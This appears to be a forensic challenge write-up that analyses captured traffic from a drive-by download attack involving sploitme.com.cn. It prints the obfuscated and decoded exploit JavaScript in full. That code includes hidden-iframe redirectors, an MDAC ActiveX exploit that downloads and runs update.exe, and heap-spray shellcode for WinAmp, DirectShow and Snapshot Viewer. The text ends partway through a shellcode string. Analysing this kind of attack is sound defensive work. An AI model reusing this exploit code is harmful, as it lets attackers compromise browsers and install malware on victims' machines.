22130122172128148169192172179137119201144139166230183171118173159134120169191174168172130166132190178182
171222130122147186148169179154181163102192143138201169182171817615917313615117171216913220415612119
1181154151143141167117147185217157182140131198157142178234196212122107159154152222042151801751561651661
86175165221153131122151115149185183227184158103149146155200166182187134103159152152217195190169122133149
11614218216219617213516015918915318521722818010113213914119222022420722515312516015214415219621219217513
0167156190179221851219131122159189148184162178181154153134176147118152232211561831801591351341517811881
75136154115181177181206158130122171118148207192176180121161198149177183182183208101102159117148153190190
20617513216617018717818221417413410216318715317018722518117514313216915420022918015416810415918917917219
22281761021361871151911822201801721291381631191482231832221841371621531491381491661842251341061601351701
5119317417617213116613312817523522521351402156133148169183158181137161135143155171183187209130170160135
15321019318915110513113014011917719818715313013816311614917019115818112212815314614314922418217015310916
41351371691911742031221321661561871791621831531321371301151481492032261791381271301481551662301832091391
25160152140221191191193119135188136124203197205218127105198137150170192174184101136151149176150182187187
12610615815115215419221311761691351881321201781811541531341761471181522322115618318015913513314517817517118
02241731711821541912161891902191041511531751861911972102211421631941751601521962281901031621821421592171
64195191126157171151120218214193223168133132175180176185163208150163168173171173192204200139102199166122
18721920515413517517915412421118917416816813116517412818119720615812717519012216018516321320110313213116
515818723120617010616018111761572052141771891231521531531871912011591511281211831872091301701601351
92142155217218182213131162182136141149214178177165143192153119191197209213142104202171170152192218193120
15319714112117922920515316116116117217021521215617716614416914511920016322221514113713518917118818822820
31251281941651802002251831861731721711761832092031571851751411321751711772232262111511631821151681681622
261781361611371691581872292051531391091821391451542151561721101521911531221741831762091531312150117161187
21818619216216619015612218222520415312716717215414914921315521916514216517412620320118420715312516017814
61721992182041041031391341802092231811741221661831181532222151942191031431701401741902201551711521631681
71171172200186178124123197141120201198195154127166181139152218199156207161152153186181176198222215143159
1861721461892302181931581581541651922052181811861611091791541602121951562071611431321831451861819210921512
81421981351691511632252011241401301571542042261851541021621801391492092151541811711521701331861912021882
11128121189122173182226227193141136131166180153217206175127103172151187158216194152159143170149177198181
21021112814219812417318222621817817416913716915221318220415310217318013815714920418920616513313311514619
9201188207142175185179150220175167'););
//-->
</script>

```

Even without decoding it, it is easy to see that the scripts are not the same. It may indicate that the script is dynamically generated by the exploit server. Maybe the script generation is based on some of the visiting hosts properties (eg: kind of browser used, victim OS, country...). This page stores the “offensive” script which will be used to try to exploit the victim.

A another client, ip address 10.0.4.15, visited shop.honeynet.sg and the first requested page /catalog/ contained suspicious javascript:

```

<script type="text/javascript">var s="=jgsbnf!tsd>#iuiuq;00tqmpjunf/dpn/do0@dmjdl>95d1:lce97#!xjeui>2!
ifjhiu>2!tuzmf>#wjtjcmjuz;!ijeefo#?=0jgsbnf?";m="";for(i=0;i<s.length;i++){if(s.charCodeAt(i)==28)
{m+="#&";}else if(s.charCodeAt(i)==23){m+= " !";}else{m+=String.fromCharCode(s.charCodeAt(i)-
1);}}document.write(m);</script>

```

Like the login.php page from rapidshare.com.eyu32.ru, this script decodes and then writes an iframe statement in the html document to redirect the victim's browser to the exploit server: sploitme.com.cn.

After being redirected twice (we will see this point later), 10.0.4.15 request /fg/show.php?s=84c090bd86 from sploitme.com.cn.

The exploit server will use this page to try to exploit multiples vulnerabilities with the encoded script below:

```

<script language='JavaScript'>
<!--
var
CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'=',
,decode:function(input){var output='';var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var
i=0;input=input.replace(/\s/g,'');while(i<input.length)
{enc1=this._keyStr.indexOf(input.charAt(i++));enc2=this._keyStr.indexOf(input.charAt(i+
+));enc3=this._keyStr.indexOf(input.charAt(i++));enc4=this._keyStr.indexOf(input.charAt(i+
+));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|
enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT.utf8_decode(output);return output;},_utf8_decode:function(utf8text){var string='';var
i=0;var c=0,c1=0,c2=0,c3=0;while(i<utf8text.length){c=utf8text.charCodeAt(i);if(c<128)
{string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224))
{c2=utf8text.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|
(c2&63));i+=2;}else{c2=utf8text.charCodeAt(i+1);c3=utf8text.charCodeAt(i+2);string+=String.fromCharCode(((
c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++)
{container+=String.fromCharCode(str.substr(i,i+3)-this.signature.substr(z%this.signature.length,z
%this.signature.length+1).charCodeAt(0));}
return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('1571811872311951541351661801171232041951561601691531531871792011851912141281421981
89161189196191200140103190165122187162181170153169180117149205214177211171152187120182200223192212126122
1301701442101842120110414013014618017522919519010616815618819022219117416817212916618312816822319615215
11631601151681881712231761221321931571581792281891891181651571551871512031941761561531911531911812011591
52151125201122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223
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//-->
</script>

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Finally, a last victim, ip address 10.0.5.15 visited /fg/show.php from sploitme.com.cn. This client was using, or at least claimed to be using Firefox 0.8 under Linux.

The generated javascript was identical with the one generated when 10.0.2.15 have visited /fg/show.php?s=3feb5a6b2f, 10.0.2.15 was also using Firefox.

This behavior may indicate that the exploit server sploitme.com.cn dynamically generate the exploitation script based on the kind of browser of the visiting host.

Question 4. Can you sketch an overview of the general actions performed by the attackers?	Possible Points: 2pts
Tools Used:	
Answer 4.	
<p>The “modus operandi” of the attack can be summarized by:</p> <ul style="list-style-type: none"> • First, a victim visits a previously compromised Web server. In our case, two sites are suspected compromised hosts: rapidshare.com.eyu32.ru and shop.honeynet.sg. These sites could have been compromised by an iframe injection in the original web page code. • Using this hidden iframe, the victim's browser is transparently redirected to the exploitation server: sploitme.com.cn to an url in the form: /?click=xxxxxxxx (where xxxxxxxxxx is an hexadecimal number) • In response to this request, the exploit server uses an HTTP response code “302 Found” and an HTTP response-header field “Location:” to redirect the browser to the page storing the exploitation script. The purpose of this redirection is maybe to dispatch the victim to the “good” exploitation server, based on some of the victims properties. • Following the redirection the client will land to the offensive page. At this point the behavior of the exploit server will depend on the kind of client (new or returning client) and the type of browser used (Firefox or IE) when requesting the page: <ul style="list-style-type: none"> ◦ A new client using Firefox will receive a script with harmless code ◦ A new client using Internet Explorer will be attacked ◦ A returning client (already exploited host) will not be re-attacked (no script in the received page) • All the exploits used have the same objective: instruct the victim's computer to download a probably malicious binary file (PE executable) and to execute it. <p>The attackers may have used a Web exploitation kit like Mpack or IcePack.</p>	

Question 5. What steps are taken to slow the analysis down?	Possible Points: 2pts
Tools Used:	
Answer 5.	
<p>Two steps are taken:</p> <ul style="list-style-type: none"> • Obfuscation and encryption are used to slow down the analysis and surely to evade NIDS. 	

Question 6. Provide the javascripts from the pages identified in the previous question.
Decode/deobfuscate them too.

Possible Points: 8pts

Tools Used: Malzilla, spidermonkey-js (JavaScript-C 1.7.0 2007-10-03)

Answer 6.

Redirection Scripts

login.php from rapidshare.com.eyu32.ru : (Redirection via invisible iframe)

```
eval(function(p,a,c,k,e,r)
{
  e=function(c)
  {
    return(c<a?'':e(parseInt(c/a))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))
  };
  if(!''.replace(/^/,String))
  {
    while(c--)r[e(c)]=k[c]||e(c);
    k=[function(e)
    {
      return r[e]
    }
    ];
    e=function()
    {
      return'\w+'
    };
    c=1
  };
  while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);
  return p
}
('q.r(s("%h%0%6%d%e%7%1%8%9%d%3%4%a%5%2%2%i%j%b%b%9%i%c%k%0%2%7%1%1%3%k%7%1%3%m%b%t%3%c%0%3%u%4%v%6%1%f
%w%e%x%f%y%6%a%z%0%g%2%5%4%n%8%5%1%0%A%5%2%4%n%8%9%2%o%c%1%4%a%B%0%9%0%f%0%c%0%2%o%j%8%5%0%g%g%1%m%a%p%h
%b%0%6%d%e%7%1%p%C"));','39,39','69|65|74|63|3D|68|66|6D|20|73|22|2F|6C|72|61|62|64|3C|70|3A|6F|2E|6E|31|
79|3E|document|write|unescape|3F|6B|33|35|36|32|77|67|76|0A'.split('|'),0,{}));
```

This script produces the code below:

```
document.write(unescape("%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%70%6C%6F
%69%74%6D%65%2E%63%6F%6D%2E%63%6E%2F%3F%63%6C%69%63%6B%3D
%33%66%65%62%35%61%36%62%32%66%22%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%73%74%79%6C%65%3D
%22%76%69%73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%22%3E%3C%2F%69%66%72%61%6D%65%3E%0A"));
```

then with the string unescaped :

```
document.write("<iframe src='http://sploitme.com.cn/?click=3feb5a6b2f'width=1 height=1
style='visibility: hidden'></iframe>");
```

So, this script instruct the browser to load the url: <http://sploitme.com.cn/?click=3feb5a6b2f> in an invisible frame. The size of this frame is 1x1 pixel.

/catalog page from shop.honeynet.sg: (Redirection via invisible iframe)

```
var s="=jgsbnf!tsd>#iuuq;00tqmpjunf/dpn/do0@dmjdl>95d1:1ce97#!xjeui>2!ifjhui>2!tuzmf>#wjtjcjmjuz;!
ijeefo#?=0jgsbnf?";
m="";
for(i=0;i<s.length;i++)
{
  if(s.charCodeAt(i)==28)
  {
    m+="&";
  }
  else if(s.charCodeAt(i)==23)
  {
    m+= "!";
  }
}
```

```

}
else
{
  m+=String.fromCharCode(s.charCodeAt(i)-1);
}
}
document.write(m);

```

the script on this page is a string decoder where an encrypted string s is decoded to produce a string m. This string will then be written to the document to produce an iframe html code.

Encoded s:

```

var s="jgsbnf!tsd>#iuuq;00tqmpjunf/dpn/do0@dmjdl>95d1:1ce97#!xjeui>2!ifjhiu>2!tuzmf>#wjtjcmjuz;!
ijeefo#?=0jgsbnf?"

```

Decoded m:

```

m = "<iframe src="http://sploitme.com.cn/?click=84c090bd86" width=1 height=1 style="visibility:
hidden"></iframe>"

```

in fact, the script use a very easy to understand decryption loop:

```

m="";
for(i=0;i<s.length;i++){
  if(s.charCodeAt(i)==28){
    m+="&";
  } else if(s.charCodeAt(i)==23){
    m+= " ";
  }else{
    m+=String.fromCharCode(s.charCodeAt(i)-1);
  }
}
document.write(m)

```

each character of the original string (m) was encoded using the next character in the ascii table to produce the string s. Eg: for the word iframe : i becomes j , f becomes g, r becomes s, etc... the resulting word is: jgsbnf

Exploitation Scripts

/fg/show.php?s=3feb5a6b2f from sploitme.com.cn

The client 10.0.2.15 was redirected from rapidshare.com.eyu32.ru to this page. This client is an Windows XP host using Firefox 3.5.3. The exploit server sent the script below:

```

<script language='JavaScript'>
<!--
var CRYPT={
  signature:'CGerjg56R',
  _keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
  decode:function(input){
    var output='';
    var chr1,chr2,chr3;
    var enc1,enc2,enc3,enc4;
    var i=0;input=input.replace(/[\^A-Za-z0-9\+\=\|\\/\=]/g,'');
    while(i<input.length){
      enc1=this._keyStr.indexOf(input.charAt(i++));
      enc2=this._keyStr.indexOf(input.charAt(i++));
      enc3=this._keyStr.indexOf(input.charAt(i++));
      enc4=this._keyStr.indexOf(input.charAt(i++));
      chr1=(enc1<<2)|(enc2>>4);
      chr2=((enc2&15)<<4)|(enc3>>2);
      chr3=((enc3&3)<<6)|enc4;
      output=output+String.fromCharCode(chr1);
      if(enc3!=64){output=output+String.fromCharCode(chr2);}
      if(enc4!=64){output=output+String.fromCharCode(chr3);}
    }
  }
}

```

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```

    }
    output=CRYPT._utf8_decode(output);
    return output;
},
_utf8_decode:function(utf8text){
    var string='';
    var i=0;
    var c=0,c1=0,c2=0,c3=0;
    while(i<utf8text.length){
        c=utf8text.charCodeAt(i);
        if(c<128){
            string+=String.fromCharCode(c);
            i++;
        }else if((c>191)&&(c<224)){
            c2=utf8text.charCodeAt(i+1);
            string+=String.fromCharCode(((c&31)<<6)|(c2&63));
            i+=2;
        }else{
            c2=utf8text.charCodeAt(i+1);
            c3=utf8text.charCodeAt(i+2);
            string+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));
            i+=3;
        }
    }
    return string;
},
obfuscate:function(str){
    var container='';
    for(var i=0,z=0;i<str.length;i=i+3,z++){
        container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z
%this.signature.length,z%this.signature.length+1).charCodeAt(0));
    }
    return CRYPT.decode(container);
}
}
eval(CRYPT.obfuscate('1571811872311951541351661801171232041951561601691531531871792011851912141281421981
89161189196191200140103190165122187162181170153169180117149205214177211171152187120182200223192212126122
13017014421018421120110414013014618017522919519010616815618819022219117416817212916618312816822319615215
11631601151681881712231761221321931571581792281891891181651571551871512031941761561531911531911812011591
52151125201122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223
19220915312118517215518919215820114017320314317920519219017215713916813713620618919021911014313213711919
01642092141431371901221711731881592041041281901661551502311961911521571631541491492111941931611411511241
7619822319220915312118517215518822212202162111204165121191162182211157132166136175186200176168158129166
1831281901641761511421041851781611842221612031251281351681221752220518710217117215517020420117515213013
71541491192001841802111521421681751701521952171781371701391561211711621951531561651721501791562161941521
101211911751801761861802111521381301241692112002212011201622031571591831632052120105159159134144156213215
18917313019112419019120115821412616118213715716818722117615811119115719215823620317411010515817713721221
31741601631441701491731902012182071541221301871452111871631761581701601561591832251822131271581801761532
19212189206165130153157175199186184211128138198188161189183223202103140199157138205231206190173169157151
18721320421120717414417013618820022319222515212513918417015120019119314115813014715514921918318612616618
31181452092141781891741521871331192002241922111321051311751691731922142041041281901671431872352042081191
63171154191223204190219110156163179139199164155222151125168115161184217218182172115143'));
//-->
</script>

```

This script defines a CRYPT object containing:

- two constants
 - signature
 - _keyStr
- and 3 functions :
 - decode
 - _utf8_decode
 - obfuscate

This CRYPT object is then used in an eval statement to decode a long encrypted string. This decoded string is

After being decrypted the string look like below:

```
function Complete() {
    setTimeout('location.href = "about:blank",2000);
}
function CheckIP() {
    var req=null;
    try{
        req=new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch(e) {
        try{
            req=new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch(e) {
            try {
                req=new XMLHttpRequest();
            }
            catch(e){}
        }
    }
}
if(req==null) return"0";
req.open("GET","/fg/show.php?get_ajax=1&r="+Math.random(),false);
req.send(null);
if(req.responseText=="1") {
    return true;
}
else{return false;}
}
Complete();
```

Two functions are defined:

- Complete()
 - this function send the browser to the about:blank page after a 2 seconds timeout
- CheckIP()
 - First This function try to create an XMLHttpRequest object named req.
 - “try and catch” blocks are used to successively try to create either an ActiveX XMLHttpRequest object (for Internet Explorer) or an XMLHttpRequest() object (for firefox)
 - Then, if the object creation is successful it will be used to connect to /fg/show.php?get_ajax=1&r=”random_value”
 - The server will normally respond to this request with something.
 - If the returned value is 1, then this function will return true else it will return false

The name of this function make me thinking of an infection check which tries to answer this question: Is the victim already known or already exploited, and so a returning host ?

The exploit server may be using a kind of victim ip address database where it stores the IP of all the previously exploited hosts.

Even if two functions are defined, only Complete() is executed making this script harmless for 10.0.2.15.

The client 10.0.2.15 running Firefox 3.5.3 was not attacked by sploitme.com.cn

The next client to visit this page is 10.0.3.15, based on its user-agent, this hosts runs IE6 under Windows XP SP2.

The redirection process via iframe is exactly the same as it was for 10.0.2.15, so it lands on the same page. But this time the generated script is different.

The script received is decoded in the same manner as previously explained with the CRYPT.obfuscate function. What differs between the two scripts is only the encrypted string.

Below is the decoded string for 10.0.3.15:

```
function Complete() {
    setTimeout('location.href = "about:blank",2000);
}

function CheckIP() {
    var req=null;
    try{
        req=new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch(e){
        try{
            req=new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch(e){
            try{
                req=new XMLHttpRequest();
            }
            catch(e){}
        }
    }
    if(req==null) return "0";
    req.open("GET","/fg/show.php?get_ajax=1&r="+Math.random(), false);
    req.send(null);
    if(req.responseText=="1"){
        return true;
    }
    else{return false;}}

var urltofile='http://sploitme.com.cn/fg/load.php?e=1';
var filename='update.exe';

function CreateO(o,n){
    var r=null;
    try{
        r=o.CreateObject(n)
    }
    catch(e){}
    if(!r){
        try{
            r=o.CreateObject(n, '')
        }
        catch(e){}
    }
    if(!r){
        try{
            r=o.CreateObject(n, '', '')
        }
        catch(e){}
    }
    if(!r){
        try{
            r=o.GetObject('',n)
        }
        catch(e){}
    }
    if(!r){
        try{
            r=o.GetObject(n, '')
        }
        catch(e){}
    }
    if(!r){
        try{
            r=o.GetObject(n)
        }
    }
}
```



```

        catch(e){}
    }
    return r;
}

function Go(a){
    var s=CreateO(a,'WScript.Shell');
    var o=CreateO(a,'ADODB.Stream');
    var e=s.Environment('Process');
    var xhr=null;
    var bin=e.Item('TEMP')+'\\'+filename;
    try{
        xhr=new XMLHttpRequest();
    }
    catch(e){
        try{
            xhr=new ActiveXObject('Microsoft.XMLHTTP');
        }
        catch(e){
            xhr=new ActiveXObject('MSXML2.ServerXMLHTTP');
        }
    }
    if(!xhr)return(0);
    xhr.open('GET',urltofile,false)
    xhr.send(null);
    var filecontent=xhr.responseBody;
    o.Type=1; //Binary data
    o.Mode=3; // mode rw
    o.Open();
    o.Write(filecontent);
    o.SaveToFile(bin,2); // saves to file, overwrites if exists.
    s.Run(bin,0); // execute downloaded binary.
}

function mdac(){
    var i=0;
    var objects=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E36}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCDDDF-CA28-496b-B050-6C07C962476B}',null);

    while(objects[i]){
        var a=null;
        if(objects[i].substring(0,1)==''){
            a=document.createElement('object');
            a.setAttribute('classid','clsid:'+objects[i].substring(1,objects[i].length-1));
        }
        else {
            try{
                a=new ActiveXObject(objects[i]);
            }
            catch(e){}
        }
        if(a){
            try{
                var b=CreateO(a,'WScript.Shell');
                if(b){
                    if(Go(a)){
                        if(CheckIP()){
                            Complete();
                        }
                        else {
                            Complete();
                        }
                    }
                    return true;
                }
            }
        }
    }
}

```

```

    }
    catch (e) {}
    }
    i++;
}
Complete();
}
mdac();

```

The sent script is much more offensive, and defines 3 new functions:

- CreateO(o,n)
 - Used to create objects
- Go(a)
 - This function tries to download a binary file from <http://sploitme.com.cn/fg/load.php?e=1> using an XMLHTTP ActiveX object. The usage of ActiveX object only indicates that the attacker only want to exploit Internet Explorer.
 - Then with an ADODB.stream object, the binary stream is saved to a file named “update.exe” and located in the directory stored in the “TEMP” environment variable.
 - Finally this binary file is executed by a call to the Run function of a Wscript.Shell object pointing to the saved binary.
 -
- mdac()
 - this function will try to exploit a vulnerability found in the Microsoft Data Access Components
 - CVE-2006-0003 , MS Security bulletin : MS06-014

This time the script was harmful, the mdac() function is executed (last line of the script) and if the host is vulnerable it will be compromised. Looking at the pcap file after this script was received by 10.0.3.15, we can observe that it will request the “malware url” in frame #178. We can conclude that the exploitation was successful. This host has downloaded and executed the retrieved binary file.

Later in the 10.0.3.15 HTTP traffic , we can observe that it returns on the “redirection site” (rapidshare.com.eyu32.ru), and was redirected again to the exploit server. But this time, the returned page doesn't embed any script. This may be due to a check made by the exploit server to verify if an host as already been infected, and if so, doesn't try to exploit it anymore.

[/fg/show.php?s=84c090bd86](#)

This page was visited by 10.0.4.15 who was redirected to it by an invisible frame stored on /catalog/ page of shop.honeynet.sg. This client is running IE6 under Windows XP.

Again the same encryption was used and decoded via CRYPT.obfuscate.

Here's the resulting script:

```

function Complete(){setTimeout('location.href = "about:blank",2000);}
function CheckIP(){
    var req=null;
    try{
        req=new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch(e){
        try{
            req=new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch(e){
            try{
                req=new XMLHttpRequest();
            }catch(e){}
        }
    }
    if(req==null) return"0";
}

```

```

req.open("GET","/fg/show.php?get_ajax=1&r="+Math.random(),false);
req.send(null);
if(req.responseText=="1"){
    return true;
}
else{
    return false;
}
}

var urltofile='http://sploitme.com.cn/fg/load.php?e=1';
var filename='update.exe';

function CreateO(o,n){
    var r=null;
    try{
        r=o.CreateObject(n)
    }
    catch(e){}

    if(!r){
        try{
            r=o.CreateObject(n,'')
        }
        catch(e){}
    }

    if(!r){
        try{
            r=o.CreateObject(n','','')
        }
        catch(e){}
    }

    if(!r){
        try{
            r=o.GetObject('',n)
        }
        catch(e){}
    }

    if(!r){
        try{
            r=o.GetObject(n,'')
        }
        catch(e){}
    }

    if(!r){
        try{
            r=o.GetObject(n)
        }
        catch(e){}
    }

    return r;
}

function Go(a){
    var s=CreateO(a,'WScript.Shell');
    var o=CreateO(a,'ADODB.Stream');
    var e=s.Environment('Process');
    var xhr=null;
    var bin=e.Item('TEMP')+'\\'+filename;
    try{
        xhr=new XMLHttpRequest();
    }
    catch(e){
        try{
            xhr=new ActiveXObject('Microsoft.XMLHTTP');
        }
    }
}

```

```

    }
    catch(e) {
        xhr=new ActiveXObject('MSXML2.ServerXMLHTTP');
    }
}
if(!xhr)return(0);
xhr.open('GET',urltofile,false)
xhr.send(null);
var filecontent=xhr.responseBody;
o.Type=1;
o.Mode=3;
o.Open();
o.Write(filecontent);
o.SaveToFile(bin,2);
s.Run(bin,0);
}

function mdac(){
    var i=0;
    var objects=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E36}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCDDDF-CA28-496b-B050-6C07C962476B}',null);
    while(objects[i]){
        var a=null;
        if(objects[i].substring(0,1)==''){
            a=document.createElement('object');
            a.setAttribute('classid','clsid:'+objects[i].substring(1,objects[i].length-1));
        }
        else{
            try{
                a=new ActiveXObject(objects[i]);
            }
            catch(e){}
        }
        if(a){
            try{
                var b=CreateO(a,'WScript.Shell');
                if(b){
                    if(Go(a)){
                        if(CheckIP()){
                            Complete();
                        }
                        else{
                            aolwinamp();
                        }
                        return true;
                    }
                }
            }
            catch(e){}
        }
        i++;
    }
    aolwinamp();
}

function aolwinamp(){
    try{
        var obj=document.createElement('object');
        document.body.appendChild(obj);
        obj.id='IWinAmpActiveX';
        obj.width='1';
        obj.height='1';
        obj.data='./directshow.php';
        obj.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
        var shellcode=unescape("%u0033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB");
    }
}

```

```

%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C
%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA
%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D
%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%u0C32%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C
%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC
%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF
%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F
%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u333D");
    var bigblock=unescape("%u0c0c%u0c0c");
    var headersize=20;
    var slackspace=headersize+shellcode.length;
    while(bigblock.length<slackspace) bigblock+=bigblock;
    var fillblock=bigblock.substring(0,slackspace);
    var block=bigblock.substring(0,bigblock.length-slackspace);
    while(block.length+slackspace<0x40000) block=block+block+fillblock;
    var memory=new Array();
    for(var i=0;i<666;i++){
        memory[i]=block+shellcode;
    }
    document.write('<SCRIPT language="VBScript">');
    document.write('bof=string(1400,unescape("%ff")) + string(1000,unescape("%0c"))');
    document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');
    document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');
    document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');
    document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');
    document.write('</SCRIPT>');
}
catch(e){}
directshow();
}

function directshow(){
    var shellcode=unescape("%u0C33%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B
%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C
%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA
%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D
%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%u0C32%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C
%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC
%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF
%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F
%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u343D");
    var bigblock=unescape("%u9090%u9090");
    var headersize=20;
    var slackspace=headersize+shellcode.length;
    while(bigblock.length<slackspace)bigblock+=bigblock;
    var fillblock=bigblock.substring(0,slackspace);
    var block=bigblock.substring(0,bigblock.length-slackspace);
    while(block.length+slackspace<0x40000){
        block=block+block+fillblock;
    }
    var memory=new Array();
    for(var i=0;i<350;i++){
        memory[i]=block+shellcode;
    }
    try{
        var obj=document.createElement('object');
        document.body.appendChild(obj);
        obj.width='1';
        obj.height='1';
        obj.data='./directshow.php';
        obj.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
        setTimeout("if (CheckIP()){ Complete(); } else { snapshot(); }",1000);
    }
    catch(e){
        snapshot();
    }
}

function snapshot(){
    var x;

```

```

var obj;
var mycars=new Array();
mycars[0]='c:/Program Files/Outlook Express/wab.exe';
mycars[1]='d:/Program Files/Outlook Express/wab.exe';
mycars[2]='e:/Program Files/Outlook Express/wab.exe';
try{
    var obj=new ActiveXObject('snpww.Snapshot Viewer Control.1');
}
catch(e){
    try{
        var obj=document.createElement('object');
        obj.setAttribute('classid','clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9');
        obj.setAttribute('id','obj');
        obj.setAttribute('width','1');
        obj.setAttribute('height','1');
        document.body.appendChild(obj);
    }
    catch(e){}
}
try{
    if(obj=='[object]'){
        for(x in mycars){
            obj=new ActiveXObject('snpww.Snapshot Viewer Control.1');
            var buf=mycars[x];
            obj.Zoom=0;
            obj.ShowNavigationButtons=false;
            obj.AllowContextMenu=false;
            obj.SnapshotPath='http://sploitme.com.cn/fg/load.php?e=6';
            try{
                obj.CompressedPath=buf;
                obj.PrintSnapshot();
                var snpelement=document.createElement('iframe');
                snpelement.setAttribute('id','snapiframe');
                snpelement.setAttribute('src','about:blank');
                snpelement.setAttribute('width',1);
                snpelement.setAttribute('height',1);
                snpelement.setAttribute('style','display:none');
                document.body.appendChild(snpelement);
                setTimeout("document.getElementById('snapiframe').src =
'ldap:///';",3000);
            }
            catch(e){}
        }
    }
}
catch(e){}
com();
}

function com(){
    try{
        var obj=document.createElement('object');
        document.body.appendChild(obj);
        obj.setAttribute('classid','clsid:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F');
        if(obj){
            var shcode=unescape("%u0033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB
%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C
